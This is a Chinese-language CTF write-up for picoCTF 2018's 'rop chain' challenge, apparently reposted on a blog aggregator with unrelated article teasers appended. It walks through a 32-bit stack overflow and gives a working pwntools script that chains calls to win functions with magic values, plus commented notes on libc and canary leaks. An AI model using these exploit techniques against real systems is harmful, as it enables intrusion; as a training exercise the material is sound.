picoctf_2018_rop chain

小白垃圾笔记,不建议阅读。

这道题目其实我是瞎做的.

本地调试需要写一个文件名为flag.txt的文件。

先检查下保护:(我把文件名改成pwn了),32位仅仅开启了nx

然后放到32位ida里:

main函数如下:

 

调用了vuln:存在溢出点。

 

gdb中调试发现0x18个后边是ebp再往后是返回地址。

那么就利用这里的溢出。

查看又没sys啥的:

flag.txt???

 

查看下引用:flag函数:新天地。

 他会将flag读入如果win1不为0且win2不为0并且a1=-559……

记得之前做过一个题目就是比较的。当时直接看16进制:

所以这道题比较的是0DEADBAAD       一会参数设置为这个就好

 

对于win1和win2的话:

有两个函数:

 

win_function1比较简单:仅此而已。

 

至于win_function2嘛:

也还行吧:也是比较,参数传入为:我感觉这道题目就是考察参数传递的。对于函数的调用过程需要熟练。

 

我们的目的是使得win1不为0,win2不为0,且调用flag的时候a1参数是0BAAAAAAD

那么好了主要就是payload:

先是溢出:

b'a'*(0x18+4) #4是覆盖ebp

然后是win1=1的地址

他的第一个参数是返回地址:也就是win2

然后win2是有两个参数的第一个依旧是返回地址我们写flag的地址,第二个是a1这里是比较的数据

最后对于flag的返回地址我们已经设置成了p32(0x0BAAAAAAD)。不过我们已经不需要他返回去哪里了。我们只关心它的参数时另一个比较的值。

payload=b'a'*(0x18+4) #4是覆盖ebp

payload+=p32(set_win1_addr)    #vuln的返回地址设置成win1

payload+=p32(set_win2_addr)     #win1的返回地址设置成win2

payload+=p32(flag_addr)      #win2的返回地址设置为flag的地址

payload+=p32(0x0BAAAAAAD)    #win2的第一个参数(同时也是flag的返回地址、不过已经不重要)
payload+=p32(0x0DEADBAAD))   #flag的第二个参数

上边只是我的猜想而已。对于新的想法我在ida中查看

对于比较的内容:

 

 s好像是ebp(chat说是字符串)

r是返回地址(ret)

然后好像是第一个参数。

感觉从这里也可以知道哪里覆盖什么。

没办法不明白的还有很多,菜是原罪。

from pwn import *

debug=0
if debug:
    p=process('./pwn')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',25415)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


flag_addr=0x0804862B
set_win1_addr=0x080485CB
set_win2_addr=0x080485D8
a1=-1163220307
win1_addr=0x0804A041

ru(b'input>')
se(b'a'*(0x18+4)+p32(set_win1_addr)+p32(set_win2_addr)+p32(flag_addr)+p32(0x0BAAAAAAD)+p32(0x0DEADBAAD))




p.interactive()

#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#write_add=u32(p.recv(4))

#addr=u32(r.recvuntil('\xf7')[-4:])
#puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)
#next(libc.search(b'/bin/sh\x00'))
#p=gdb.debug("./ciscn_2019_es_2","break main")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/23950.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

全网最火爆,从接口测试到接口自动化测试总结,卷王进阶高级...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 Python接口自动化测…

element-ui菜单el-menu的使用

效果演示 先给大家看一下效果吧 el-menu详解 Menu Attributes# 属性名说明类型可选值默认值mode菜单展示模式stringhorizontal / verticalverticalcollapse是否水平折叠收起菜单&#xff08;仅在 mode 为 vertical 时可用&#xff09;boolean—falseellipsis是否省略多余的子项…

软件测试之自动化测试详解

文章目录 一.前言二.selenium介绍三.selenium的组成部分四.Selenium的环境搭建下载浏览器配置环境变量验证环境是否搭建成功 五.Selenium的API打开浏览器元素的定位操作测试对象等待操作信息获取鼠标操作键盘操作选项操作浏览器操作 六.需要用到的包 一.前言 自动化测试指软件…

SQL面试必备:100道高频考题解析

前言 在众多IT职场中&#xff0c;SQL技术一直是一个非常重要的技能点。如果你正在准备SQL相关的面试&#xff0c;那么这份“SQL面试 100 问”绝对是你不能错过的宝藏&#xff01; 这份清单涵盖了100道高频考题&#xff0c;从基础知识到复杂应用都有所涉及&#xff0c;帮助你全…

树莓派485转USB串口调试教程

步骤1&#xff1a;接线方式&#xff1a;485转USB 注意接线口是否对应&#xff1a;A1B1 步骤2&#xff1a;查看串口配置—映射关系是否正确 命令&#xff1a;ls -l /dev serial0即GPIO映射的串口&#xff0c;默认是ttyS0&#xff0c;即mini串口 serial1即板载蓝牙映射的串口&am…

关于原生feign发起请求时,参数注解的相关问题

先说结论&#xff1a; POST请求必须指定请求头&#xff0c;body参数用RequestBody或者Param&#xff08;需要一个一个写&#xff09;。 GET请求&#xff0c;传参只能用QueryMap&#xff0c;后边变量是Map形式&#xff0c;哪怕是一个参数也必须放到map里边。如果是路径变量&…

Java 集合中 ArrayList 的扩容机制原理(面试+读源码)

在 Java 中&#xff0c;ArrayList 内部是通过一个数组来存储元素的&#xff0c;是一个数组结构的存储容器。当向一个 ArrayList 中添加元素时&#xff0c;如果当前数组已经满了&#xff0c;就需要扩容。 集合的继承关系图 一、面试回答 ( ArrayList 的扩容机制原理 ) 面试…

Solidity基础六

生活本来就是平凡琐碎的&#xff0c;哪有那么多惊天动地的大事&#xff0c;快乐的秘诀就是不管对大事小事都要保持热情 目录 一、Solidity的特殊变量(全局) 二、Solidity的不可变量 immutable的赋值方式 三、Solidity的事件与日志 事件和日志加深理解 四、Solidity的异常…

ChatGPT1论文解读《Improving Language Understanding by Generative Pre-Training》

论文总结 以下是我阅读完整篇论文做的个人总结&#xff0c;基本包含了chatGPT1设计的完整框架思路&#xff0c;可以仅看【论文总结】章节。 在GPT1实现的核心架构中&#xff0c;包含两个阶段。 第一阶段 在第一阶段基于一个包含7000本书籍内容的海量未标注文本数据集进行无…

注解-反射-XML配置原理

java刚开始原本是直接在方法中创建对象执行程序等&#xff0c;部分代码重复率高&#xff0c;后来就发展成方法封装调用&#xff0c;再后来出现的像spring框架等&#xff0c;引入了XML配置&#xff0c;使得程序更加简洁&#xff0c;方便等&#xff0c;其中XML配置也是基于java反…

java+iClientOpenlayers实现污水排放扩散模拟(湖库污染排放扩散模拟)

软件实现效果 一、应用背景 湖库污染是一个日益严峻的环境问题。随着城市化和工业化的加速发展&#xff0c;越来越多的有害物质被排放入湖库中&#xff0c;导致湖库污染加剧并扩散到周围地区。本文将探讨湖库污染扩散的原因、影响和解决方法。 首先&#xff0c;湖库污染扩散的…

堆排序之——TopK问题

思维导图&#xff1a; 一&#xff0c;TopK算法的运用 TopK的算法在我们的日常生活中可谓是大有用处&#xff0c;比如你在点外卖时外卖榜单上的销量前几名的筛选&#xff0c;富豪排行榜的榜单人物的筛选&#xff0c;游戏排位……等等领域都会有TopK算法的涉及。TopK问题的用处可…

github创建仓库和拉取代码

目录 一、git创建仓库 第一步&#xff1a;首先登录github 第二步&#xff1a;进入建立的仓库(或者新建仓库) 第三步&#xff1a;创建成功 第四步&#xff1a;在本地新建一个文件夹&#xff0c;然后在文件夹下打开git bash 第五步&#xff1a;在git bash命令框执行git init…

专业解读财务共享实现财务数智化转型的有效路径

近年来&#xff0c;随着数字经济的飞速发展&#xff0c;各大企业全面开启数智化转型之路&#xff0c;作为企业数智化转型的重要内容&#xff0c;财务数智化转型始于财务共享服务。然而&#xff0c;财务共享建设并不是一蹴而就的&#xff0c;如何通过财务共享实现财务数智化转型…

什么是分布式软件系统

:什么是分布式软件系统&#xff1f;分布式软件系统是什么意思&#xff1f; 分布式软件系统(Distributed Software Systems)是支持分布式处理的软件系统,是在由通信网络互联的多处理机体系结构上执行任务的系统。它包括分布式操作系统、分布式程序设计语言及其编译(解释)系统、分…

阻抗板是否高可靠,华秋有话说

随着高频高速电子产品的快速发展&#xff0c;信号传输过程更容易出现反射、串扰等信号完整性问题&#xff0c;且频率越高、传输速率越快&#xff0c;信号损耗越严重&#xff0c;如何降低信号在传输过程中的损耗、保证信号完整性是高频高速PCB发展中的巨大挑战。 在高速PCB设计…

Spring源码(一) — 序言

序言 Java程序员的日常开发一定都离不开Spring的框架&#xff0c;从Spring、SpringMVC、SpringBoot、SpringCloud… 而Spring框架就是Spring家族中最基础也是最重要的一个框架。 Spring 我们常说的Spring往往都绕不开IOC&#xff08;控制反转&#xff09;和AOP&#xff08;切…

【TellMeCode】使用VSCODE + ChatGPT辅助分析推测源码

【TellMeCode】使用VSCODE ChatGPT辅助分析推测源码 0x00 功能简介 根据代码上下文相关信息&#xff0c;如工作区文件夹名称&#xff0c;代码所在路径等一系列信息&#xff0c;提供给大模型更多元和尽可能多的信息&#xff0c;利用其自身优势去检索相关的文档和博客&#xf…

QT开发实战-动态壁纸软件

动态壁纸软件开发 项目源代码在下面链接获取: ----------------------------- 开发者:CodeSharkSJ 希望此项目能加强你对Qt的应用 文章目录 项目图与开发环境核心技术原理自定义窗口程序UI布局背景绘制样式表基本实现QWebEngineQMedia使用系统托盘隐藏记忆功能应用程序打包 …

RestCloud荣膺广东省优秀软件产品奖,引领国内数据集成领域!

近日&#xff0c;“2022年广东软件风云榜”名单公布&#xff0c;“谷云ETL数据交换软件”凭借其在助力企业数字化转型升级过程中的卓越表现&#xff0c;荣获由羊城晚报报业集团、广东软件行业协会、广东省大数据协会联合颁发的“优秀软件产品和解决方案”奖。 数字化转型是推动…